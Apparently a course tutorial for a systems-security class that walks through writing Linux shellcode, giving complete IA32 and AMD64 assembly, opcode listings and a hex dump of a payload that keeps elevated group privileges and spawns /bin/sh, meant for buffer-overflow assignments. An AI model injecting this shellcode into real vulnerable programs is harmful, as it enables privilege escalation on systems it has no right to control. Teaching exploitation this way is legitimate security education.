926 views
# CS6332: Writing Shellcode Tutorial ## Objective Now we can change the control flow of the program by exploiting a buffer overflow vulnerability. While we could jump into [get_a_shell()] because the program contains such function, what should we do if there is no such function? ```c= void get_a_shell() { printf("Spawning a privileged shell\n"); setregid(getegid(), getegid()); execl("/bin/bash", "bash", NULL); } ``` The answer is, we can write the code that we want to execute, inject it to the program's address space, and then jump on to it. Then, a following question is, which code do you want to write. If you can put any code in a program's space, then you might want to run the following code: ```c= execve("/bin/sh", 0, 0); or system("/bin/sh") ``` Because, if you launch a shell (`/bin/sh`, `/bin/bash`, or others) from a program, this will give you the power of running any command with the inherited privilege (from the assignment binary, or the program that you want to attack.) So the code we will write and use in this week is called as *Shellcode* (because it wiill eventually run a shell!). ## Requirement To run a shell, what we need to call is: `execve("/bin/sh", 0, 0)` as a system call (we can call `system("/bin/sh")`, but we will cover this later). However, just running the shell will not let you inherit the effective privilege set by the [sticky bits]. To this end, you should run the followings beforehand: ```c= setregid(getegid(), getegid()) // in case of gid, for our assignments. setreuid(geteuid(), geteuid()) // in case of uid, for the real attack cases. ``` So our job is to write a code that runs: ```c= setregid(getegid(), getegid()); execve("/bin/sh", 0, 0); ``` ## System calls Fortunately, all such calls are not the function call. These functions are implemented in the OS kernel, and we can call the functions via system call. System call is the primary gateway to kernel open to the user's space. In the IA32 architecture of Linux, this is done by issuing *software interrupt* at `0x80`: ```asm= // IA32 int $0x80 /* * In the AMD64 architecture, * this is done by issuing syscall instruction. */ // AMD64 assembly syscall ``` Then, how can we invoke system calls? ## i386 (IA32) Syscall Syscalls are defined by numbers. You can search for the system call numbers at [syscalls x86-32_bit]. From the table, we can see that: ```txt= sys_execve: 0xb sys_getegid: 0x32 sys_setregid: 0x47 ``` and these numbers must be set at the $EAX register before invoking the system call. For example, running getegid requires: ```asm= mov $0x32, %eax; // Defined as $SYS_getegid in <asm/syscall.h> int $0x80; ``` The return value of the system call will be stored in the `$EAX` register. So after running int $0x80, the result (effective GID) will be stored in $EAX. Next is, calling `setregid(getegid(), getegid())`. The syscall has two arguments, and in x86 architecture of Linux, arguments for the system call is passed in the following way: ```txt= %ebx : 1st argument %ecx : 2nd argument %edx : 3rd argument %esi : 4th argument %edi : 5th argument ``` So to call `setregid(getegid(), getegid())`, ``` eax = 0x47 ebx = <egid value> ecx = <egid value> ``` and we can make this as follows: ```asm= mov %eax, %ebx // set ebx (1st arg) to the returned egid mov %eax, %ecx // set ecx (2nd arg) to the returned egid mov $0x47, %eax // set eax to $SYS_setregid int $0x80 ``` Now we move to `execve("/bin/sh", 0, 0)`. First, the syscall number is `0xb (11)`. And both 2nd and 3rd arguments are zero, so we can easily do this by making both ecx and edx to be zero. But, what about setting `/bin/sh` for the `%ebx` register? We should store the memory address that stores the string `/bin/sh` to `%ebx`. While different options exist, to this end, we will build a string on the stack, because stack is available memory space! One convenient way to achieve this is using push instruction to push values on the stack. We will push the following values: ```asm= push $0 // mark the end of string (NULL) push $0x68732f6e // push "n/sh" push $0x69622f2f // push "//bi" ``` Because x86 has *4-byte width* for the values, let me first adjust the string `/bin/sh` (7 bytes) to `//bin/sh` (8 bytes). First, we push zero to mark the end of the string. And then, we push 0x68732f6e. This is the string value of `n/sh` (in little endian!). Finally, we push `0x69622f2f`, which is `//bi`. Consequently, the current stack top will store `//bi`, `n/sh`, `\0`, which will be concatenated as `//bin/sh\0`. Then how to make `%ebx` to point that address? The address of the current stack top is always stored in the `%esp` register. So, just move it. ```asm= mov %esp, %ebx. ``` The final shellcode will be: ```asm= mov $0x32, %eax; // SYS_getegid int $0x80; mov %eax, %ebx // set ebx (1st arg) to the returned egid mov %eax, %ecx // set ecx (2nd arg) to the returned egid mov $0x47, %eax // set eax to $SYS_setregid int $0x80 mov $0xb, %eax; mov $0x0, %ecx; mov $0x0, %edx; push $0 // mark the end of string (NULL) push $0x68732f6e // push "n/sh" push $0x69622f2f // push "//bi" mov %esp, %ebx; int $0x80; ``` In the [shellcode-template], you can edit [shellcode.S] to write the shellcode. To build the code, you can type: ```bash= $ make 32 gcc -m32 -c -o shellcode.o shellcode.S &&\ gcc -o shellcode shellcode.o -m32 && \ objcopy -S -O binary -j .text shellcode.o shellcode.bin for 32-bit x86 shellcode. For 64bit AMD64 shellcode, you can type: $ make 64 ... ``` After building the code, I have put some convenient commands such as: ```bash= $ make objdump ``` This will show the opcode along with your assembly code: ``` shellcode.o: file format elf32-i386 ``` Disassembly of section .text: ```asm= 00000000 <main>: 0: b8 32 00 00 00 mov $0x32,%eax 5: cd 80 int $0x80 7: 89 c3 mov %eax,%ebx 9: 89 c1 mov %eax,%ecx b: b8 47 00 00 00 mov $0x47,%eax 10: cd 80 int $0x80 12: b8 0b 00 00 00 mov $0xb,%eax 17: b9 00 00 00 00 mov $0x0,%ecx 1c: ba 00 00 00 00 mov $0x0,%edx 21: 6a 00 push $0x0 23: 68 6e 2f 73 68 push $0x68732f6e 28: 68 2f 2f 62 69 push $0x69622f2f 2d: 89 e3 mov %esp,%ebx 2f: cd 80 int $0x80 ``` ```bash $ make dump ``` This will just dump the code in hexadecimal values: ``` 00000000: b832 0000 00cd 8089 c389 c1b8 4700 0000 .2..........G... 00000010: cd80 b80b 0000 00b9 0000 0000 ba00 0000 ................ 00000020: 006a 0068 6e2f 7368 682f 2f62 6989 e3cd .j.hn/shh//bi... 00000030: 80 ``` ```bash $ ./shellcode ``` And if you run this, this will actually execute your code (you should get a new shell with `$` if you coded correctly). ## AMD64 Syscall Syscalls are defined by numbers. You can search for the system call numbers at [syscalls x86-64_bit]. :::warning NOTE: system call numbers differs for 32-bit and 64-bit!!! Argument passing is also different! ::: Finally, run the system call with: ```asm= // not the int $0x80! syscall ``` From the table, we can see that: ``` sys_execve: 0x3b sys_getegid: 0x6c sys_setregid: 0x72 ``` and these numbers must be set at the `%rax` register before invoking the system call. For example, running `getegid()` requires: ```asm= mov $0x6c, %rax; // SYS_getegid syscall; ``` The return value of the system call will be stored in the `%rax` register. So after running `syscall`, the result (effective GID) will be stored in `%rax`. Next is, calling `setregid(getegid(), getegid())`. The syscall has two arguments, and in the AMD64 architecture of Linux, arguments for the system call is passed in the following way: ``` rdi : 1st argument rsi : 2nd argument rdx : 3rd argument rcx : 4th argument r8 : 5th argument r9 : 6th argument ``` So to call `setregid(getegid(), getegid())`, ``` rax = 0x72 rdi = egid value rsi = egid value ``` and we can make this as follows: ```asm= mov %rax, %rdi // set rdi (1st arg) to the returned egid mov %rax, %rsi // set rsi (2nd arg) to the returned egid mov $114, %eax // set rax to $SYS_setregid syscall ``` Now we move to `execve("/bin/sh", 0, 0)`. First, the syscall number is `0x3b (59)`. And both 2nd and 3rd arguments are zero so we can easily do this by making both `%rsi` and `%rdx` to be zero. And we will put `//bin/sh` on the stack and make `%rdi` to point that. However, we need to do this in a different way than in x86. The reason is, there is no 8-byte value push in the AMD64 architecture. Push can only work with 1, 2, and 4 bytes for the immediate values (register pushes are 8 bytes). For instance, if you do this: ```asm= push $0 // mark the end of string (NULL) push $0x68732f6e // push "n/sh" push $0x69622f2f // push "//bi" ``` The stack will store: `0x0000000069622f2f`, `0x0000000068732f6e`, `0x0000000000000000` So the string will just be `//bi`. To push an 8 byte value, we need to move it to a register first and then push the register. Do this in the following way: ```asm= mov $0x68732f6e69622f2f, %rbx push $0 push %rbx mov %rsp, %rdi ``` The final code for AMD64 shellcode will be: ```asm= mov $0x6c, %rax // SYS_getegid syscall mov %rax, %rdi // set rdi (1st arg) to the returned egid mov %rax, %rsi // set rsi (2nd arg) to the returned egid mov $0x72, %eax // set rax to $SYS_setregid syscall mov $0x68732f6e69622f2f, %rbx push $0 push %rbx mov %rsp, %rdi mov $0, %rsi mov $0, %rdx mov $0x3b, %rax syscall ``` In the shellcode-template (you will have this if you ran 'fetch week3'), you can edit [shellcode.S] to write the shellcode. To build the code, you can type: ```bash $ make 64 gcc -m64 -c -o shellcode.o shellcode.S gcc -o shellcode shellcode.o -m64 objcopy -S -O binary -j .text shellcode.o shellcode.bin ``` ---- [syscalls x86-32_bit]:https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit "" [syscalls x86-64_bit]:https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit "" [shellcode-template]:https://xfersh.syssec.org/14uYkU/shellcode-template.tar.bz2 [shellcode.S]:https://codimd.syssec.org/s/KBb3so5cp "shellcode.S" [get_a_shell()]:https://cs6332.syssec.org/l/lec03/level6.c [sticky bits]:https://todos.html ###### tags: `shellcoding`,`system call`, `cs4301`,`cs6332`